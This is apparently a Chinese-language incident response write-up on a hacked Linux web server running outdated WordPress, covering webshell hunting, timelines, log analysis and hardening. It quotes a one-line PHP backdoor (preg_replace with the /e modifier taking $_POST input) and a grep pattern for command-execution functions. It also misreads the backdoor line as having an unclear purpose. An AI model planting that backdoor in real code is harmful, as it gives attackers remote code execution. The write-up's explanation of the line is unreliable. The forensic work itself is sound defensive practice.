我最近处理了一个Linux Web服务器被入侵的案子,事情的起因是客户发现Web服务器上出现了一个新的PHP文件,它与运行在服务器上的WordPress应用程序和特定的用户代理无关,所有的流量都被重定向到另一个站点。
本文并不是一个详细的取证指南,也不是一个详尽的安全事件响应手册。写作的目的是想为您提供一些思路,碰到需要处理这类Linux服务器被黑的Case时候,你应该作何考虑?实施那些行为?需要准备哪些常用的工具?
1. 开始
当管理员第一次发现服务器被入侵后,立即清理了所有发现的恶意文件,修复了重定向的问题,认为一切都已经复原了,直到不久之后服务器再次被入侵。管理员又做了修复工作,这次还更新了系统,在决定将应用程序转移到一台新服务器上之前,他们决定请其他人员检查以下,于是,我就上场了。
摆在我眼前的待取证对象是:
- 仍在生产环境中运行的系统
- 至少遭遇了两次入侵
- 管理员进行对系统进行了实质性的修改
这些条件都不算理想,甚至可以说是不适宜的,提前声明:我的目的不是去创造一个合法有效的监测链,而是要做混合取证,在尽可能的不终端运行中的服务的情况下,进行事件响应和修复被损坏的东西。我的目标是:
- 确定系统是否仍然处于危险状态(如果是的话,删除或阻止与此相关的所有内容)
- 检测是否存在被修改的文件,以避免将已被感染文件迁移到新的服务器上
- 理想情况下,找出初始的入侵向量,并确保它已被阻止。
在获得域名、IP和SSH凭证之后,我就开始工作了。
2. 收集证据
在连接到服务器之前,我记录了自己的IP,确保以后能够在日志中识别出它。
然后我通过SFTP命令连接到了服务器上。由于服务器的磁盘已经被加载并且正在运行,因此我无法获得镜像,所以我下载了所有感兴趣的、能得到的日志文件。我拷贝了整个/var/log目录和存储Apache日志文件的特定目录,复制了受损的PHP应用程序,以及在事件发生后不久所采取的一些备份。不幸的是,第一次被入侵和管理员做出更改之间没有进行系统备份,因此一些关键文件可能已经被修改了。
开启了Kali,针对服务器启动Nmap端口扫描和wpscan扫描。由于服务器运行了一个老旧的WordPress实例,而且这个实例曾执行过恶意的重定向,所以WordPress很可能是入侵的初始点。然而,由于WordPress在被入侵后已经更新过了,wpscan没有在当前的版本中找到任何漏洞。Nmap端口扫描的结果是开放了FTP,SSH,HTTP和HTTPS端口,这对于一个Web服务器来说有点多余,攻击者也可能从其中一项服务进行突破。然而,管理员的报告里说所有的shell都是在wp-content目录下被发现的,这在某种程度上暗示了攻击者可能入侵了WordPress应用程序。
我还使用VirusTotal检查了该站点是否有传播恶意软件的记录,但似乎一切都很好。
我决定通过控制台登录系统。由于不确定服务器上的二进制文件是否被感染了,所以为了减少影响,我使用了自己的静态链接二进制文件。从BusyBox下载了coreutil二进制文件并上传到服务器上,同时还上传了chkrootkit工具和SLEUTH工具包中的一个名为mac-robber的工具。
用静态二进制文件检查系统,得到运行中的进程和cronjobs等的列表信息,你可以使用
- netstat -tulpen
命令得到一个监听(TCP和UDP)进程的列表(我没有覆盖所有扫描到的端口,所以得到的输出可能是有趣的)。可以使用
- netstat -taupn
命令显示从服务器中输出的活动的连接(TCP和UDP)。然而,这两个清单都没有发现可疑的活动。
Rootkit检测工具chkrootkit也什么都没发现,使用rkhunter和ClamAV也没有什么收获(这不意味着什么,不幸的是,ClamAV错过了PHP shells和Windows木马)。
我开始手工寻找一些不同寻常的事物,但目前为止一切似乎都很干净:没有不寻常的开放端口、没有不寻常的进程在运行。我用一个管理员账户验证了FTP和ssh帐户,它们看起来不错。在这个层面上似乎没有入侵的迹象。
mac-robber工具帮助我收集了服务器上创建和修改的文件的信息(稍后可被用于创建事件的时间线):
- ./mac-robber / > /root/forensics/timeline.txt
现在,我发现了:
- 服务器上被创建的文件及时间的信息
- 各种日志文件,其中包括Apache日志
- 被入侵的网站一些元代吧,包括一些(被修改过的)shell文件
- 第一次和第二次被入侵之间的备份
总的来说,还算有所收获。当然,您可能认为这些日志数据不能被信任,因为它们可能被攻击者修改过了。但我却没有理由期待攻击会这么复杂。
3. 深度检查
管理员已经确定了一些被攻击者上传的webshells文件。我开始检查这些文件,发现大部分文件的名字都比较隐蔽,如Xjrop.php,Nwfqx.php或Rwchn7.php(首字母都是大写的),这些文件是完全相同的,分散在正常的应用程序文件之间。然而有一个名为up.php的文件,与上述几个文件的源代码不同,功能也稍有差别。可以使用diff命令比较两个文件:
- diff Xjrop.php Nwfqx.php
或者比较它们的MD5值:
- md5sum Xjrop.php
- md5sum Nwfqx.php
还有2个文件的名字比较奇怪,bjrnpf.php和jemkwl.php,全部是小写这两个文件是相同的,但有别于其他文件。一个可疑的可执行文件被命名为windoze.exe,我怀疑一些恶意软件可能已经从该主机传播出去了。使用md5sum计算这个文件的哈希值,在VirusTotal进行检查,(注意上传到VirusTotal的文件可以被其他研究人员看到,是公共的,所以最好不要上传可能含有保密或敏感信息的东西,可以首先使用哈希值进行分析)。VirusTotal的分析结果确定该文件为木马程序。因此我将它保存下来以备后续的分析。
分析这些PHP shell样本,发现某些文件中包含如下信息:
注意它们的标题“404-server!!”。用搜索引擎搜索胰腺癌,发现了其他一些可能受感染的服务器信息:
还有一些可疑文件中,包含了一些看似无用的代码:
- <?php @preg_replace(“/[pageerror]/e”,$_POST[‘mkf3wapa’],”saft”); ?>
这一行代码的含义是正则匹配“saft”字符串中的小写字母“pageerror”,将其替换成$_POST 变量 “mkf3wapa”。由于返回值被忽略,所以我不知道这个代码片段具体的作用是什么。
然而,使用Google搜索,发现一大堆的查询结果,表明这段代码与黑客上传的“404-Server!!”shell脚本有联系,它们同时出现在被入侵的服务器上。因此,如果您在服务器上找到此代码,它可能存在被感染的威胁,您应该对服务器做进一步的检查。
审查包含“404-Server!!”的shell文件的源代码,发现它们提供了上传/查看/删除文件以及调整权限的功能。
检查文件的所有者和用户组,发现它们都是用PHP进程的所有者创建的,所以它们很可能是由被入侵的PHP应用程序创建的。
另一个被感染的文件名为way.php,它只是包含了来自另一个服务器的一个文件,源代码如下所示:
这段代码中指向的恶意服务器向我们展示了一个有趣的消息:
可能是因为我没有使用正确的referer头,或者是服务器不提供恶意负载了。
在一个HTML文件中,发现如下代码:
- <iframe src=”way.php”></iframe>
寻找更多的Shells
管理员提供的可疑的Shell文件是因为它们有比较特殊的、奇怪的命名,接下来,我开始通过应用程序代码来寻找更多的可疑文件,尤其是,您可能希望查找在服务器上执行命令的函数,如:
- passthru
- exec
- shell_exec
- eval
- system
使用以下命令搜索所有包含这些函数的文件:
- egrep -rin “system|passthru|exec|shell_exec|eval” /var/www/vhosts/xyz/ > ~/forensics/results_shell_grep.txt
人们经常会使用 *.php的后缀来搜索可疑的PHP文件,但PHP文件其实还有其他的扩展名,如*.php5、*.php4 或 *.phps,如果只检查可能*.php的话,可能会错过很多。所以,如果条件允许的话,可以搜索一下上述所有扩展名的文件。也有一些恶意文件使用任意扩展名,由更规则的PHP文件加载,因此也应该尝试检测一下这类文件。
注意,目前还没有检测那些既没有混淆也不存在上传Shells情况的文件,因为这些没有不直接执行代码。另外,您可能还会搜索一些不太可疑的函数,这样做也许还会得到太多的结果,例如:
- fputs
- fwrite
- fopen (特别是携带 URLs的)
- chmod
- socket_*
- curl_*
- base64_decode
- gzinflate
如果你有一个大致的想法,当入侵事件发生时,你可能会想到搜索一下在那个日期之后被创建或修改的文件,如:
- find -mtime -2 /directory
您可以递归地识别出/目录下在前2天内或更早时间之前修改过的所有文件。根据服务器文件上文件修改的规律,您可以很容易地通过这种方式检测到其他的Shells文件。
如果你已经确定了一些恶意文件,也应该根据一些发现的特征寻求更多的变种,如在本例中检查字符串“404-server!!”,可能会发现更多可疑的文件信息。
除了传统的防病毒软件之外,还有另一种方法,即使用OWASP出品的基于YARA规则的WebMalwareScanner扫描仪,要做到这一点,你需要安装YARA、Python绑定并从Github上下载WebMalwareScanner。在处理这件事情时,我在另一台Linux机器上运行了WebMalwareScanner对被感染的PHP应用程序的源代码进行检测,花了一些时间,不过得到了很多结果,正确识别了一些webshells。
- root@DESKTOP-XXX:~# cat webmalwarescan_results.txt |grep “webshell” [2017-08-01 09:24:56] Scan result for file /path/to/up.php : webshell iMHaPFtp 2 […]
另外,有些WordPress插件也是被入侵的目标,需要被检测,不过我不想在已经被破坏的系统上安装额外的插件,所以这一次没有尝试这种方式,下次可能就会这么做了。
根据我的经验,最好能够结合不同的技术去寻找webshells。它们有时很难识别,乍看之下一些看似合法的文件也可能具有恶意功能。你越了解被入侵的系统,就越容易检测到不应该存在的文件。
禁止被感染的文件
收集完所有这些信息后,不要忘记把恶意文件清理掉。我已经移除了这些可疑文件的所有用户的读取和执行权限,系统运行一段时间后,没有明显的问题,将它们删除。别把可疑的文件残留在系统中,以防有人不小心激活了它们。
创建一个时间线
前边提到使用mac-robber工具检索到了创建和修改文件的信息,现在我用mactime创建了一个时间线:
- mactime -b timeline.txt 2017-06-01 > timeline_output.txt
得到了一个长长的条目列表,如下所示:
- Fri Jun 30 2017 15:43:02 308 .a.. -rw-r–r– 10000 1004 0 /var/www/vhosts/xyz/httpdocs/way.php
- Fri Jun 30 2017 15:51:55 308 m.c. -rw-r–r– 10000 1004 0 /var/www/vhosts/xyz/httpdocs/way.php
- Fri Jun 30 2017 16:07:47 31 m.c. -rw-r–r– 10000 1004 0 /var/www/vhosts/xyz/httpdocs/newmessage.html
这是一个与服务器上的所有文件有关的非常有用的列表,包括了文件的owner id、group id,以及文件被修改、访问和更改的时间戳。
注意,在UNIX系统上,一般情况下可疑获得文件的访问时间、更改时间和修改时间(atime,ctime,mtime),以常见的mactime输出为例:
- a 代表一个文件被访问的时间(atime)
- c 代表一个文件的内容或权限被更改的时间(ctime)
- m 代表文件内容被更改的时间,而不是所有者或权限被更改
- b 代表文件被创建的时间,不过你通常不会看到这个
所以,mtime显示了文件最后被写入的时间。然而,我们不能确定这是否与文件的创建日期相吻合,遗憾的是这里无法重建,所以不能肯定这就是文件被上传的时间,但可以肯定的是,上星期五,即7月07,该文件就已经存在于系统上了。在Linux系统上,您可以使用 stat 命令显示单个文件的详细信息。
关于这文件系统和文件的访问/创建时间的问题,请允许我再多说一点。首先,你的文件系统在加载时如果启用了noatime选项,那么就意味着不会记录对磁盘的访问时间,这样做可以提高访问速度,但显然并不利于取证分析。不过,某些文件系统依然可以找出文件创建时间,大多数Linux服务器上的ext4格式的文件系统就支持这一功能,但没有简易的展示工具,mactime并不适用。
Linux下使用debugfs可以查询文件的创建日期。
检查时间线,可以计算出第一个恶意shell出现在系统上的时间,结果显示是在事件被发现的几周之前,这不是一个好兆头。
检查日志文件
从日志中查看调用这些脚本工具的信息,发现几个主要来自于亚洲的IP地址,但由于apache日志里没有记录POST数据的嘻嘻,因而无法确认通过这些Shells上传了哪些文件。
寻找初始攻击向量
为了定位初始的攻击向量,我使用了 apache-scalp 工具,虽然它有点旧了,但依然有效。但仍在工作。通过正则表达式它基本上能Apache日志中匹配出已知的攻击向量。
- /opt/apache-scalp/scalp# python scalp.py -l /path/to/logs/access_log.processed.1_plain -f /path/to/default_filter.xml -a lfi,rfi,sqli,dt -p “25/Jun/2017;05/Jul/2017” –output /root/scalp –html
然而,没有发现可疑的SQL注入或LFI / RFI漏洞利用的情况,事发前一天也没有能够与可疑文件相关联的可疑事件发生。
检查WordPress插件表明,至少有一个SEO插件包含了一个严重的文件上传漏洞,这个插件是一个月前安装的。因为应用程序安装了许多插件,因此我写了一个小脚本来检查WordPress插件目录,比对wpvulndb.com已公布的漏洞(不过该系统好几年没更新过了)。
事实证明,存在很多的严重的安全漏洞,如果没有足够的日志信息,很难追踪初始向量。
注意,这个脚本不检查主题或WordPress核心的漏洞,它们也可能包含严重的漏洞。
做完上述事情之后,我决定花足够的时间为客户提供一份初步报告,并展开进一步的行动。
4. 结果
现在,我们都知道哪些情况了呢?
- 该系统已经被入侵几个星期了。Apache日志显示shells最早的访问时间是7月初,也就是说大约3个星期之前。
- 发现了各种被感染的PHP文件和一个Windows恶意软件。
- 至少有3种类型的shells和其他一些文件是入侵的指标(IoCs)。
- Windows恶意软件可能还没有蔓延,这是好事。
- 服务器没有显示明显的更深层次的感染的迹象,因此攻击者可能没有升级本地权限。用户帐户看起来没有问题,没有后门可寻,除了我们最初确定的之外,没有发现进一步被感染的文件。
- 妥协可能受Web服务器用户/组的限制,没有其他的用户/服务被入侵的迹象。
- 入侵的初始向量可能是过时的WordPress系统中的众多漏洞之一。
- 数据库或数据库凭据没有被其他用户通过shell访问过的迹象,但也不能排除数据库被访问过的可能性。
- 有些恶意活动(shell访问)源于亚洲的IPs。
除了从系统中将恶意文件中清除之外,我们还使用了一些安全加固措施,如更改密码和证书、安装了一个主机入侵检测系统(IDS)、执行定期扫描、主动监视了服务器长达一周的时间……
不过,你知道的,从来没有100%的安全。尤其是当你的服务器已经遭到入侵时,最好的做法就是仔细检查你无法从干净的备份或官方资源中恢复的每一个脚本。
事实上,初步分析之后,这个故事持续了很长时间。因而最好让你的服务器保持最新状态,这比事后处理入侵事件要容易得多,工作量也少。